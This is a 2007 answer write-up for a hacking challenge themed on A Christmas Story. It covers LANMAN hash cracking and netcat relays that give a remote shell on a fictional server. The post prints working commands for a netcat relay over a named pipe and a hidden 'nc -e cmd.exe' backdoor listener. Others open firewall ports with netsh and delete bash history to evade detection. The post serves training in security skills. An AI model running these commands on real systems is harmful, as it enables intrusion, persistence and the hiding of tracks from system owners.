A Christmas (Hacking) Story – Answers and Winners

| January 12, 2007

Active Image
Active Image del.icio.us

Discuss in Forums {mos_smf_discuss:Dec 06 – A Christmas (Hacking) Story}

Active ImageHello, challenge fans!  Competition was fierce in December's Skillz challenge with a lot of incredibly smart people sending in brilliant answers.  It was difficult (and immensely time-consuming!) to whittle them down and come up with the best of the best of the best.  But, whittle I did.

In this holiday-themed challenge based on A Christmas Story, I wanted you to fire on several different cylinders at the same time with a Linux server and a limited shell, a Windows 2003 box with good old cmd.exe, and both the Linux and Windows versions of Netcat tying it all together.  Those who did well on this challenge should be congratulated for their impressive skill in multiple environments.

–Ed Skoudis
Intelguardians
Author, Counter Hack Reloaded

coreimpact2c.gif
Skillz Sponsored by Core Security Technologies

Active ImageActive ImageActive Image

But, before we get to the winners, let's look at a few nuances about this month's challenge.  When we have as many really good answers as we did, some subtle issues become really important to separate the top answers.  So, let's look at this point by point:

Question 1) What is interesting about the files that Ralphie could see on the lamp server?

A lot of people got this one correct, an easy question to get you all rolling.  The files we could see were nc, in all likelihood netcat, as well as chimney, a named pipe, indicated by that "p" at the start of the long form of the ls output.  (Get it?  A chimney pipe?  Sometimes, I crack myself up.  Sadly, with a lame pun like that, this isn't one of those times.)  Anyway, the phrase "named pipe" is a fancy way of saying a FIFO file, a first-in-first-out doodad that we can use as a repository of data to connect stuff together.  What kind of stuff?  Why, a netcat relay, of course.  But, let's not get ahead of ourselves.

Given the permissions of these items and our current user identity (lamp), we can run the nc file and read from and write to the chimney file, just what we'll need for later.

Speaking of bad puns, did you notice that the lamp server was a Linux box?  Accident?  I think not…  LAMP is an oft-used acronym for Linux, Apache, MySQL, and PHP/Perl/Python/Whatever else you can think of that starts with P.  <Groan!>

Question 2) What is the significance of the Annie cyphertext?

So, what happens when you crack these hashes?  With the blatant hint from the challenge itself, you could use Ophcrack, an awesome tool for cracking LANMAN hashes using rainbow tables.  There's even a bootable Linux distro with Ophcrack and some rainbow tables built-in.  Alternatively, you could use John the Ripper, Cain, or other LANMAN hash cracking tools.  One point most everyone observed was the fact that all of the hashes ended with AAD3B435B51404EE.  That's because the shockingly lame LANMAN hashing algorithm pads all passwords so that they are exactly 14 characters long, breaks the passwords into two seven character pieces, and then creates hashes of those two parts independently.  Thus, if a password is seven characters or less in length, the second part will always be hashed padding, always equaling AAD3B435B51404EE.  So, all of the passwords were less than 8 characters in length.  When cracked, they revealed the following text:

DRINK MORE OVAL TINE

BUY COUNTER HACK RELOADE

USE NET CAT RELAY

The first item here was just a spoof from the movie, of course.  The second was a vital element, the only reason these challenges exist, of course!  A blatant plug for my book.  But, did you notice how that last D in the RELOADED was left off?  What happened there?  I was seeing if you were paying attention, and would follow exactly what the output would reveal.  Most of you did, so kudos to you!

Also, dropping this trailing D does model something that we see in the Real WorldTM on occasion.  Sometimes, a password is established in an application or operating system (such as a mainframe) that truncates the password to a maximum number of characters.  Then, when this password is replicated to other platforms, the result is a truncated password for all of those other systems.  So, the user probably typed in an original password of RELOADED into some application, which truncated it to RELOADE.  Then, when it got loaded into Windows, the result was a seven-character password.

The third item was a hint for solving the next question.  Somehow a netcat relay would come in handy!

Question 3) What command could Ralphie e-mail to the lamp to get access to the command shell on the furnace server from the kid's network to read the Christmas list?  What should Ralphie do on his own laptop for this to work?  Assume that you cannot alter the configuration of the lamp or get any higher privileges on that machine, nor can you reconfigure the firewall.

Wow, there were a lot of amazing and complex answers you guys tried on this one!  Some of you guys performed such intricate netcat gymnastics, my head was spinning.  I liked that a lot, folks.  However, simpler answers are generally preferred, as long as they get the job done.

One of the most common mistakes made on this section was… well… repeat after me:

On Linux, dot is not in your PATH.

On Linux, dot is not in your PATH.

ON LINUX, DOT IS NOT IN YOUR PATH!

Thus, to make the lamp server run netcat, you should have invoked it with "./nc" instead of simply "nc".  However, given that this was such a minor mistake, I didn't count it against you if you missed it.  However, I did give a few extra points to those who did use "./nc".  Even one of our winners missed this subtle point in part of his answer.

Of course, on Windows, dot is in your PATH, by default, and there's not much you can do about it.  That makes me angry, my friends, rather like an old many trying to send back soup at a deli.  Well, not exactly.

Anyway, while there were many subvariations, the two main approaches to this situation were to:

A) Create a client-to-client netcat relay.  Most write-ups on netcat relays (such as those in my **hint-hint Counter Hack Reloaded book **hint-hint) talk about listener-to-client relays.  But, I was looking for you to innovate a bit and create a client-to-client relay as follows:

On Ralphie's machine, run a Netcat listener waiting to receive the connection:

C:> nc -l -p 443

(I'm using a Ralphie laptop that is Windows, but the commands are pretty much the same for Linux or UNIX.  Note that Ralphie is running iTunes, so it's probably a Mac OS X or Windows box).

I'd give credit to either TCP port 443 or 80 here, but I tend to like 443 better, as the contents are less likely to be logged, with people just expecting it to be encrypted HTTPS traffic.

Then, the e-mail to send to the LAMP (I mean lamp) server would be:

./nc -n 10.11.11.11 443 0<chimney | ./nc -n 10.10.10.10 2222 1>chimney

Here, I've used the -n option of netcat so that it won't try to resolve any names, minimizing the information I leave around for the Old Man to notice, such as DNS queries and responses.  The regular unnamed pipe (|) is used to forward data through the relay, and the chimney is used to shuttle back data from the furnace connection to Ralphie's machine.  Once this relay is in place, Ralphie will have command-shell access on the furnace server, which he can use to execute this command:

C:> type c:Christmas_gift_list.txt

B) The other oft-used approach involved echoing commands into a netcat client.  This approach was actually the simpler of the two, and did not require any netcat relay.  By relying on the fact that the results of the commands executed by the lamp server were e-mailed back to Ralphie, the attacker could simply e-mail the following command:

echo "type c:Christmas_gift_list.txt" | ./nc 10.10.10.10 2222

One nice aspect of this approach is that Ralphie doesn't need to run anything on his machine at all; he simply has to wait for the contents of the file to be e-mailed back to him.

Either of these ways is valid, but approach B was simpler for answering question 3.  B did bring up some complications, however, in answering question 4, as we shall see in a minute.

Question 4) How can Ralphie make the activities you describe above less likely to be detected by his Old Man?

There were several factors here.  One of the biggest dilemmas I was looking for you to identify and solve involved the fact that the Old Man had used a non-persistent netcat listener on the furnace, with a "-l" instead of a "-L".  Thus, if you simply connected to it and got the results, but dropped the connection, you destroyed the Old Man's listener.  He'd likely notice that.  Thus, winning answers needed to deal with this dilemma.  There were many approaches.  One of the most promising was to do a little shell shuffle.  Using the shell associated with option A above, you could create another Netcat listener on a different port (such as 2223) on the furnace server using a command like:

C:> start nc -d -n -l -p 2223 -e cmd.exe

The start command will run netcat separately from the current session, so that when we kill this session on furnace TCP port 2222, the other one on furnace TCP port 2223 will still live.  The -d means to run netcat in a disconnected fashion, so that it doesn't pop up a persistent little cmd.exe window on the screen (the Old Man would notice extra windows popped up on his beloved furnace box, certainly).  The -n, as we discussed before makes netcat avoid resolving names.  The -l makes it a listener.  We'll have it listen on furnace TCP port 2223, and run a cmd.exe when someone connects.

Ideally, to be thorough, you might use the netsh command to reconfigure the Windows personal firewall on that furnace system to make sure TCP port 2223 was allowed inbound, but nobody tried that.  The syntax would be:

c:> netsh firewall add portopening TCP 2223 test 

Then, with the listener created on furnace TCP port 2223, we can start another listener on Ralphie's laptop (say on TCP port 80, so we can keep our shell on furnace TCP 2222 for as long as possible):

C:> nc -l -p 80

Then, we'd e-mail another command to the lamp, making a second client-to-client netcat relay for another shell session between Ralphie TCP 80 and furnace TCP 2223:

./nc -n 10.11.11.11 80 0<chimney | ./nc -n 10.10.10.10 2223 1>chimney

Now, I know what some of you are thinking!  You are thinking… "Hey!  The first Netcat relay connecting Ralphie TCP 443 to furnace TCP 2222 is using the chimney, so we can't use it again!"  Actually, because it is a FIFO, you can!  Try it sometime.   It works like a charm.  Then, once we have the furnace TCP 2223 shell via the Ralphie TCP port 80 listener, we can drop the furnace TCP 2222 shell using the Ralphie TCP port 443 listener with a CTRL+C in that window.  Now, using the listener on Ralphie TCP port 80 connected to the shell on furnace TCP port 2223, we restart the shell on furnace TCP 2222 to restore things to the state the Old Man would expect:

C:> start nc -d -n -l -p 2222 -e cmd.exe

Then, we'll drop the open port we added in the firewall of the furnace machine with:

c:> netsh firewall delete portopening TCP 2223

And, finally, we can drop the furnace TCP 2223 shell on the Ralphie TCP 80 listener using a CTRL+C. 

Whew!  That's quite a few steps, but it works, if you used approach A in Question 3.  That's because you got a full shell with approach A.  If you used approach B in Question 3, you never got full shell access, and would have to stack up a series of commands in your echo statement instead, which gets a bit ugly and, if anything gets lost, will fail.  That's why, truth be told, I like approach A, the client-to-client Netcat relay, the best.  That's why Little Ophcrack Annie recommended it, after all.  J

For other stealthiness, let's not forget about leaving shell history on the lamp server.   Very few entries remembered to go back and delete that.  You might have tried:

rm -f ~/.bash_history

Or, if you were more inclined, you could try to line-by-line editing of that history, but that gets ugly quickly.

Other ways to be sneaky that some of you tried was to put a bunch of spaces in your shell commands to try to force the information to be in separate packets, making them less obvious to any sniffing done by the Old Man.  That was interesting!

Also, some folks had talked about using crypto to try to make things more subtle, but that might involve the installation of more software or the running of even more commands.  That often happens when you are trying to be very subtle when hacking.  If you overdo it with lots of complexity to cover your tracks, you might end up starting to leave more clues than you destroy.

But, enough of this pontificating!  Let's see those winners (I wonder how may of you just jumped through all of that explanation above to this section.  Prolly like 100% of you).   Anyway, here they are:

Our Technical Winner is…

Juan Miguel Paredes:  An elegant solution.  Very, very nice!  His solution is here.

Honorable mention:

Mark Baggett 

Damian Ginther

Alexis Michon

Anthony Boynes

Crypticgeek

Kelvin Lomboy

Bret Jordan & Trent Bond

Channon Powell

Adam Sewell & Rodney Rymer

Jon Mark Allen

 

Our Creative Winner is…

Mike Tremoulet: a funny answer, written in the character of Ralphie, and spot-on technically!  Find it here.

Honorable mention:

Adam Kaufman

Jeff Wichman

Cutaway

Stacy and Evelyn

 

Random Draw Winner:

Michael Hsu: Fate was in your favor for this challenge.

Winners will receive their autographed copies of Counter Hack Reloaded within a few weeks.  Congrats!

And, finally, thanks again to all of you for your hard work in formulating your responses.  They were a joy to read!  The funny ones were very entertaining.

We'll do another challenge in late February, so, please stay tuned. 

Real WorldTM is a registered trademark of Metacortex, Inc.  It is used here with permission of Mr. Thomas Anderson.


For more fun, try this Christmas Story Mac Theme.

For you Windows users out there, it's just too scary to recommend anything that you can download for free online.


olpc

The Red Rider Laptop picture, although actually green in more ways than one, is one of the prototypes for the One Laptop per Child Project. Help support this worthy cause, because every child in the world deserves to dream like Ralphie.

Category: Skillz

Comments are closed.